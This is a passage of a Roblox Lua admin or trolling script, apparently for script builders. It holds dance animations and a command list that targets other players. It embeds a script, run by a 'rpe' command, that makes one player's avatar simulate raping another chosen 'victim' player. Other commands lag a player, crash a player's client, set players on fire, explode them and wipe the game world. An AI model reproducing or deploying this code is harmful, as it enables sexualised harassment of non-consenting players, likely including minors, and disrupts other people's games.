- end
- elseif youpirate then
- global_wait = (global_wait % 380) + 1
- countspeed = 5
- if global_wait < 79 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- elseif global_wait < 299 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.11))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.2, 0, -math.abs(angle*0.1))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.2, 0, math.abs(angle*0.1))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), math.sin(angle*0.19), 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.055+0.2), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- elseif global_wait > 299 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
- end
- elseif canttouch then
- countspeed = 5
- global_wait = (global_wait % 160) + 1
- if global_wait == 160 then global_wait = 0 end
- if global_wait < 39 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, -math.pi/6, 0)
- elseif global_wait < 79 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, math.pi/6, 0)
- elseif global_wait < 119 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
- torso.CFrame = torso.CFrame * CFrame.new(0.05, 0, 0)
- elseif global_wait > 119 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
- torso.CFrame = torso.CFrame * CFrame.new(-0.05, 0, 0)
- end
- elseif gangnam then
- countspeed = 5
- if global_wait == 180 then global_wait = 0 end
- global_wait = (global_wait % 180) + 1
- if global_wait < 89 then
- ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
- rs.C0 = CFrame.new(.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, -math.pi/3 + -math.abs(angle*0.05))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
- elseif global_wait > 89 then
- ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.sin(angle*0.1), 0, -math.sin(angle*0.1))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
- end
- elseif foxie then
- countspeed = 5
- global_wait = (global_wait % 380) + 2
- if global_wait < 89 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, -math.abs(angle*0.2))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, math.abs(angle*0.2))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.rad(global_wait*4), 0)
- elseif global_wait > 89 then
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.05))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, -math.abs(angle*0.05))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, math.sin(angle*0.1))
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
- end
- elseif durka then
- countspeed = 2
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.07))
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.07))
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, 0, -math.abs(angle*0.03))
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, 0, math.abs(angle*0.03))
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
- elseif saxguy then
- countspeed = 5
- ls.C0 = CFrame.new(-.25,.1,-.1) * CFrame.Angles(math.pi/2.5, 0, math.pi/4)
- rs.C0 = CFrame.new(.25,.1,-.1) * CFrame.Angles(math.rad(60), 0, -math.pi/4)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(0, 0, 0)
- rj.C0 = CFrame.new(0, -math.abs(angle*0.01), math.abs(angle*0.01)) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
- elseif heya then
- countspeed = 5
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + -angle*0.2, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.sin(angle*0.07), 0)
- elseif jb then
- countspeed = 5
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
- elseif canttt then
- countspeed = 5
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
- elseif bronymusic then
- countspeed = 5
- ls.C0 = CFrame.new(-.1,.1,-.15) * CFrame.Angles(math.pi/2 + -angle*0.1, -angle*0.1, 0)
- rs.C0 = CFrame.new(.1,.1,-.15) * CFrame.Angles(math.pi/2 + angle*0.1, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.25,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, 0)
- rh.C0 = CFrame.new(.1,-.25,0) * CFrame.Angles(math.pi/2 + -angle*0.1, 0, 0)
- neck.C0 = CFrame.new(0,.25,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.25), 0, 0)
- rj.C0 = CFrame.new(0, -0.2 + math.abs(angle*0.05), 0) * CFrame.Angles(-math.rad(85), 0, 0)
- elseif sheddy then
- countspeed = 7
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
- elseif burndem then
- countspeed = 4
- ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
- rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
- lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
- rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
- neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
- rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
- end
- end
- end)
- plr.Chatted:connect(function(msg)
- game:service'Chat':Chat(head, msg, 0)
- if msg == "reset/" then
- char:breakJoints()
- end
- if msg == "resp/" then
- plr:LoadCharacter()
- end
- end)
- end)
- if not ran and err then
- print(err)
- end
- ]]
- RpeScript = [[--This ROBLOX Script Is Made By The Respected Owners.
- --Script Hidden For Privacy Of The Users. Script Hidden For Privacy Of The Users.
- --Username Input Is Required At The Bottom.
- --Instructions Copy and paste into script builder,
- --Put two names into "YOURNAME", and "THE VICTIM" (One of them doesn't have to be you)
- --This Script Makes two players in your game.. Well.. I think its in the title ;D
- ----------------------------------------------------------------------------------------
- function fWeld(zName, zParent, zPart0, zPart1, zCoco, a, b, c, d, e, f)
- local funcw = Instance.new("Weld")
- funcw.Name = zName
- funcw.Parent = zParent
- funcw.Part0 = zPart0
- funcw.Part1 = zPart1
- if (zCoco == true) then
- funcw.C0 = CFrame.new(a, b, c) * CFrame.fromEulerAnglesXYZ(d, e, f)
- else
- funcw.C1 = CFrame.new(a, b, c) * CFrame.fromEulerAnglesXYZ(d, e, f)
- end
- return funcw
- end
- function fun(n1, n2)
- pcall(function()
- t1 = game.Players[n1].Character.Torso
- t2 = game.Players[n2].Character.Torso
- t2.Parent.Humanoid.PlatformStand = true
- t1["Left Shoulder"]:Remove()
- ls1 = Instance.new("Weld")
- ls1.Parent = t1
- ls1.Part0 = t1
- ls1.Part1 = t1.Parent["Left Arm"]
- ls1.C0 = CFrame.new(-1.5,0,0)
- ls1.Name = "Left Shoulder"
- t1["Right Shoulder"]:Remove()
- rs1 = Instance.new("Weld")
- rs1.Parent = t1
- rs1.Part0 = t1
- rs1.Part1 = t1.Parent["Right Arm"]
- rs1.C0 = CFrame.new(1.5,0,0)
- rs1.Name = "Right Shoulder"
- t2["Left Shoulder"]:Remove()
- ls2 = Instance.new("Weld")
- ls2.Parent = t2
- ls2.Part0 = t2
- ls2.Part1 = t2.Parent["Left Arm"]
- ls2.C0 = CFrame.new(-1.5,0,0)
- ls2.Name = "Left Shoulder"
- t2["Right Shoulder"]:Remove()
- rs2 = Instance.new("Weld")
- rs2.Parent = t2
- rs2.Part0 = t2
- rs2.Part1 = t2.Parent["Right Arm"]
- rs2.C0 = CFrame.new(1.5,0,0)
- rs2.Name = "Right Shoulder"
- t2["Left Hip"]:Remove()
- lh2 = Instance.new("Weld")
- lh2.Parent = t2
- lh2.Part0 = t2
- lh2.Part1 = t2.Parent["Left Leg"]
- lh2.C0 = CFrame.new(-0.5,-2,0)
- lh2.Name = "Left Hip"
- t2["Right Hip"]:Remove()
- rh2 = Instance.new("Weld")
- rh2.Parent = t2
- rh2.Part0 = t2
- rh2.Part1 = t2.Parent["Right Leg"]
- rh2.C0 = CFrame.new(0.5,-2,0)
- rh2.Name = "Right Hip"
- local d = Instance.new("Part")
- d.TopSurface = 0
- d.BottomSurface = 0
- d.CanCollide = false
- d.BrickColor = BrickColor.new("Medium stone grey")
- d.Shape = "Ball"
- d.Parent = t1
- d.Size = Vector3.new(1,1,1)
- local dm = Instance.new("SpecialMesh")
- dm.MeshType = "Sphere"
- dm.Parent = d
- dm.Scale = Vector3.new(0.4,0.4,0.4)
- fWeld("weld",t1,t1,d,true,-0.2,-1.3,-0.6,0,0,0)
- d2 = d:Clone()
- d2.Parent = t1
- fWeld("weld",t1,t1,d2,true,0.2,-1.3,-0.6,0,0,0)
- local c = Instance.new("Part")
- c.TopSurface = 0
- c.BottomSurface = 0
- c.CanCollide = false
- c.BrickColor = BrickColor.new("Pastel brown")
- c.Parent = t1
- c.formFactor = "Custom"
- c.Size = Vector3.new(0.4,1.3,0.4)
- cm = Instance.new("CylinderMesh")
- cm.Parent = c
- a = fWeld("weld",t1,t1,c,true,0,-1,-0.52+(-c.Size.y/2),math.rad(-80),0,0)
- c2 = d:Clone()
- c2.BrickColor = BrickColor.new("Medium stone grey")
- c2.Mesh.Scale = Vector3.new(0.4,0.62,0.4)
- c2.Parent = t1
- fWeld("weld",c,c,c2,true,0,0+(c.Size.y/2),0,math.rad(-10),0,0)
- local bl = Instance.new("Part")
- bl.TopSurface = 0
- bl.BottomSurface = 0
- bl.CanCollide = false
- bl.BrickColor = BrickColor.new("Pastel brown")
- bl.Shape = "Ball"
- bl.Parent = t2
- bl.Size = Vector3.new(1,1,1)
- local dm = Instance.new("SpecialMesh")
- dm.MeshType = "Sphere"
- dm.Parent = bl
- dm.Scale = Vector3.new(1.2,1.2,1.2)
- fWeld("weld",t2,t2,bl,true,-0.5,0.5,-0.6,0,0,0)
- local br = Instance.new("Part")
- br.TopSurface = 0
- br.BottomSurface = 0
- br.CanCollide = false
- br.BrickColor = BrickColor.new("Pastel brown")
- br.Shape = "Ball"
- br.Parent = t2
- br.Size = Vector3.new(1,1,1)
- local dm = Instance.new("SpecialMesh")
- dm.MeshType = "Sphere"
- dm.Parent = br
- dm.Scale = Vector3.new(1.2,1.2,1.2)
- fWeld("weld",t2,t2,br,true,0.5,0.5,-0.6,0,0,0)
- local bln = Instance.new("Part")
- bln.TopSurface = 0
- bln.BottomSurface = 0
- bln.CanCollide = false
- bln.Shape = "Ball"
- bln.Parent = t2
- bln.Size = Vector3.new(1,1,1)
- local dm = Instance.new("SpecialMesh")
- dm.MeshType = "Sphere"
- dm.Parent = bln
- dm.Scale = Vector3.new(0.2,0.2,0.2)
- fWeld("weld",t2,t2,bln,true,-0.5,0.5,-1.2,0,0,0)
- local brn = Instance.new("Part")
- brn.TopSurface = 0
- brn.BottomSurface = 0
- brn.CanCollide = false
- brn.Shape = "Ball"
- brn.Parent = t2
- brn.Size = Vector3.new(1,1,1)
- local dm = Instance.new("SpecialMesh")
- dm.MeshType = "Sphere"
- dm.Parent = brn
- dm.Scale = Vector3.new(0.2,0.2,0.2)
- fWeld("weld",t2,t2,brn,true,0.5,0.5,-1.2,0,0,0)
- lh2.C1 = CFrame.new(0,-1.5,-0.5) * CFrame.Angles(0.9,-0.4,0)
- rh2.C1 = CFrame.new(0,-1.5,-0.5) * CFrame.Angles(0.9,0.4,0)
- ls2.C1 = CFrame.new(-0.5,-1.3,-0.5) * CFrame.Angles(0.9,-0.4,0)
- rs2.C1 = CFrame.new(0.5,-1.3,-0.5) * CFrame.Angles(0.9,0.4,0)
- ls1.C1 = CFrame.new(-0.5,0.7,0) * CFrame.Angles(-0.9,-0.4,0)
- rs1.C1 = CFrame.new(0.5,0.7,0) * CFrame.Angles(-0.9,0.4,0)
- if t1:findFirstChild("weldx") ~= nil then
- t1.weldx:Remove()
- end
- we = fWeld("weldx", t1, t1, t2, true, 0, -0.9, -1.3, math.rad(-90), 0, 0)
- n = t2.Neck
- n.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(-210), math.rad(180), 0)
- end)
- coroutine.resume(coroutine.create(function()
- while wait() do
- for i = 1,6 do
- we.C1 = we.C1 * CFrame.new(0,-0.3,0)
- wait()
- end
- for i = 1,6 do
- we.C1 = we.C1 * CFrame.new(0,0.3,0)
- wait()
- end
- end
- end))
- end]]
- Playerlist = {}
- function NilCrash(Name)
- local Crasher = Instance.new("StringValue")
- Crasher.Name = "Client"
- Crasher.Value = string.lower(tostring(Name))
- Crasher.Parent = game:GetService("Lighting")
- wait(1)
- if Crasher and Crasher.Parent then
- ypcall(function()
- Crasher:Destroy()
- end)
- end
- end
- coroutine.resume(coroutine.create(function()
- while wait(3) do
- if game:GetService("Players").Name ~= "Players" then
- game:GetService("Players").Name = "Players"
- end
- end
- end))
- function Dismiss()
- for i = 1, 10 do
- for i = 1, #Tabs do
- table.remove(Tabs, i)
- if tabmodel then
- tabmodel:ClearAllChildren()
- end end end
- end
- function DeleteSounds()
- for _, v in ipairs(game.Workspace:GetChildren()) do
- if v:IsA("Sound") then
- v:Stop()
- v.PlayOnRemove = false
- wait()
- v:Destroy()
- end
- end
- end
- function NewSound(ID)
- DeleteSounds()
- local Sound = Instance.new("Sound", game.Workspace)
- Sound.SoundId = "http://www.roblox.com/asset/?id=" .. ID
- Sound:Play()
- end
- function AddCmd(Name,Say,Desc,Func)
- table.insert(Cmds,{["Name"] = Name,["Say"] = Say,["Desc"] = Desc,["Func"] = Func})
- end
- AddCmd("Musiclist", "mlist", "Lists available music", function()
- Dismiss()
- for k, v in pairs(Music) do
- Output(k, function()
- NewSound(v)
- Dismiss()
- end)
- end
- end)
- AddCmd("Minipeep","mini","Makes you a minipeep", function(Players)
- for _, Player in next, Players do
- if Player:FindFirstChild("Backpack") then
- NewLS(MiniPeepScript, Player.Backpack)
- elseif Player:FindFirstChild("PlayerGui") then
- NewLS(MiniPeepScript, Player.PlayerGui)
- elseif Player.Character then
- NewLS(MiniPeepScript, Player.Character)
- end
- end
- end)
- AddCmd("Rpe Player","rpe","Makes a player rpe another", function(Players, Message)
- local Separator = Message:find(key)
- Players = getPlayers(Message:sub(1, Separator - 1))
- local RpePlayer = getPlayers(Message:sub(Separator + 1))
- local Src = RpeScript.."; fun("..Players[1].Name..", "..RpePlayer[1].Name..")"
- if Players[1]:FindFirstChild("Backpack") then
- NewLS(Src, Players[1].Backpack)
- elseif Players[1]:FindFirstChild("PlayerGui") then
- NewLS(Src, Players[1].PlayerGui)
- elseif Players[1].Character then
- NewLS(Src, Players[1].Character)
- end
- end)
- AddCmd("Banlist","bl","Show the banned players",
- function()
- Dismiss()
- for i, v in pairs(Banlist) do
- Output(v)
- end
- end
- )
- AddCmd("Fun","fun","Make some fun for a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS(FunScript, plr.Backpack)
- end
- end
- end
- )
- AddCmd("Lag player","lag","Lag a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS(LagSource, plr.Backpack)
- end
- end
- end
- )
- AddCmd("Nuke","nuke","Nuke a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- a = Instance.new("Explosion", plr.Character)
- a.Position = plr.Character.Torso
- end
- end
- end
- )
- AddCmd("Night","night","Makes it night",
- function()
- game.Lighting.TimeOfDay = "00:00:00"
- end
- )
- AddCmd("Day","day","Makes it day",
- function()
- game.Lighting.TimeOfDay = "12:00:00"
- end
- )
- AddCmd("Fire","fire","Fire a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Torso then
- Instance.new("Fire", plr.Character.Torso)
- end
- end
- end
- )
- AddCmd("Fix Lighting","lfix","Fix the Lighting ",
- function()
- function dtr()
- local sk = game.Lighting:findFirstChild("Sky")
- if sk ~= nil then
- sk:Remove()
- end
- game.Lighting.FogEnd = 10011111111
- game.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
- game.Lighting.TimeOfDay = "14:00:00"
- game.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
- game.Lighting.Brightness = 1
- game.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
- game.Lighting.ColorShift_Top = Color3.new(0,0,0)
- game.Lighting.ShadowColor = Color3.new(0.7,0.7,0.7)
- end
- dtr()
- game.Lighting.Changed:connect(dtr)
- end
- )
- AddCmd("Set SkyBox","nud","et Skybox l0l",
- function()
- sky = Instance.new("Sky")
- sky.Parent = game.Lighting
- sky.SkyboxBk = "http://www.roblox.com/asset/?id=159478070"
- sky.SkyboxDn = "http://www.roblox.com/asset/?id=159311254"
- sky.SkyboxFt = "http://www.roblox.com/asset/?id=159311254"
- sky.SkyboxLf = "http://www.roblox.com/asset/?id=159169666"
- sky.SkyboxRt = "http://www.roblox.com/asset/?id=159169666"
- sky.SkyboxUp = "http://www.roblox.com/asset/?id=159478070"
- end
- )
- AddCmd("Admin a player","admin","Give admin to a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- script.Parent = plr.Backpack
- Output("You gave admin to: "..plr.Name, __)
- end
- end
- end
- )
- AddCmd("Number of commands","ncmds","0var 9000 qq not rlly soon tho",
- function()
- Output(#Cmds, __)
- end
- )
- AddCmd("FClean","fclean","Fully clear",
- function()
- for i,s in pairs(workspace:GetChildren()) do
- if game:GetService("Players"):GetPlayerFromCharacter(s) == nil then
- if s.className ~= "Terrain" then
- if s.className ~= "Camera" then
- pcall(function() s:Destroy() end)
- end end end end
- local b = Instance.new("Part", Game:GetService("Workspace"))
- b.Size = Vector3.new(3000, 1, 3000)
- b.CFrame = CFrame.new(0, 0, 0)
- b.Name = "Base"
- b.BrickColor = BrickColor.new("Earth green")
- b.TopSurface = "Smooth"
- b.BottomSurface = "Smooth"
- b.LeftSurface = "Smooth"
- b.RightSurface = "Smooth"
- b.FrontSurface = "Smooth"
- b.BackSurface = "Smooth"
- b.Anchored = true
- b.Locked = true
- local sl = Instance.new("SpawnLocation", workspace)
- sl.Anchored = true
- sl.Locked = true
- sl.formFactor = "Plate"
- sl.Size = Vector3.new(6, 0.4, 6)
- sl.CFrame = CFrame.new(0, 0.6, 0)
- sl.BrickColor = BrickColor.new("Really blue")
- sl.TopSurface = "Smooth"
- sl.BottomSurface = "Smooth"
- sl.LeftSurface = "Smooth"
- sl.RightSurface = "Smooth"
- sl.FrontSurface = "Smooth"
- sl.BackSurface = "Smooth"
- game.Lighting.FogEnd = 10011111111
- game.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
- game.Lighting.TimeOfDay = "14:00:00"
- game.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
- game.Lighting.Brightness = 1
- game.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
- game.Lighting.ColorShift_Top = Color3.new(0,0,0)
- game.Lighting.ShadowColor = Color3.new(0.7,0.7,0.7)
- end
- )
- AddCmd("ek","ek","Epic Katana lel",
- function()
- x = game:GetService("InsertService"):LoadAsset(18017365) x.Parent = game.Workspace x:makeJoints() x:MoveTo(game.Players.LocalPlayer.Character.Head.Position)
- x = game:GetService("InsertService"):LoadAsset(21294489) x.Parent = game.Workspace x:makeJoints() x:MoveTo(game.Players.LocalPlayer.Character.Head.Position)
- x = game:GetService("InsertService"):LoadAsset(18776718) x.Parent = game.Workspace x:makeJoints() x:MoveTo(game.Players.LocalPlayer.Character.Head.Position)
- x = game:GetService("InsertService"):LoadAsset(20577851) x.Parent = game.Workspace x:makeJoints() x:MoveTo(game.Players.LocalPlayer.Character.Head.Position)
- x = game:GetService("InsertService"):LoadAsset(25545089) x.Parent = game.Workspace x:makeJoints() x:MoveTo(game.Players.LocalPlayer.Character.Head.Position)
- x = game:GetService("InsertService"):LoadAsset(22787168) x.Parent = game.Workspace x:makeJoints() x:MoveTo(game.Players.LocalPlayer.Character.Head.Position)
- end
- )
- AddCmd('Idiots','nilp','Find out on your own',
- function(plrs,msg)
- for _,v in pairs(Playerlist) do
- if not game.Players[v.Name] then
- Output('(NIL) '..v.Name, function() Output('NilCrash this person?', function() NilCrash(v.Name) end) end)
- else
- Output(v.Name,__)
- end
- end
- end
- )
- AddCmd("Un-fire","unfire","Remove fire from player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Torso then
- pcall(function()
- for j, k in pairs(plr.Character.Torso:GetChildren()) do
- if k:IsA("Fire") then
- k:Destroy()
- end
- end
- end)
- end
- end
- end
- )
- found = false
- coroutine.wrap(function()
- while found == false do
- if game.PlaceId == 21053279 or game.PlaceId == 21053219 then break end
